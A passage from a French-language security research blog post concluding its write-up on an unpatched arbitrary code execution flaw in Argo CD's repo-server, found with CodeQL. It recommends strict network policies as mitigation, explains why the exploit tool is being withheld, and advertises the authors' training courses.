argocd      argocd-repo-server-network-policy                 app.kubernetes.io/name=argocd-repo-server                 29d
argocd      argocd-server-network-policy                      app.kubernetes.io/name=argocd-server                      29d

Conclusion

Cet article a montré comment nous avons utilisé CodeQL pour identifier une vulnérabilité d'exécution de code arbitraire dans le composant repo-server d'Argo CD, ce qui pourrait potentiellement conduire à une compromission totale du cluster. Bien que CodeQL n'ait pas initialement identifié la vulnérabilité, nous avons créé notre propre pack de modèles spécialement conçu pour Argo CD. CodeQL est un outil puissant qui, malgré la génération occasionnelle de faux positifs, peut fournir des indications précieuses grâce à l'analyse manuelle des chemins suggérés, afin d'identifier des contournements potentiels ou d'autres vulnérabilités. Pour plus d'informations sur d'autres vulnérabilités d'Argo CD, vous pouvez vous référer à cet article12 de Ledger.

Nous avons divulgué ces vulnérabilités aux mainteneurs d'Argo CD en janvier 2025. Malgré nos efforts continus pour établir une communication et coordonner un correctif, y compris de nombreuses relances via GitHub et par e-mail, la vulnérabilité n'est toujours pas corrigée. Nous avons décidé de publier cet article pour alerter la communauté de ce risque afin que les utilisateurs puissent protéger leurs environnements. Nous gardons l'espoir que l'équipe d'Argo CD fournira un correctif prochainement.

En attendant qu'un correctif officiel soit disponible, l'application de politiques réseau strictes devrait réussir à empêcher l'exploitation. Pour donner une longueur d'avance aux défenseurs dans la mise en place de ces politiques, nous retardons temporairement la sortie de notre outil d'exploitation, argo-cdown. Il sera mis à disposition sur notre GitHub à une date ultérieure afin que les administrateurs puissent vérifier en toute sécurité si leurs déploiements sont vulnérables.

Si vous souhaitez en savoir plus, vous pouvez vous inscrire à notre formation Cloud, qui inclut notamment un environnement Kubernetes avec une instance Argo CD. Un grand merci @paulb et @dzeta, deux des formateurs de la formation Cloud, pour leur aide sur cette vulnérabilité. De plus, nous avons récemment lancé une formation web en boîte blanche dont une partie explique comment utiliser CodeQL pour appuyer votre recherche de vulnérabilités avec des exemples concrets.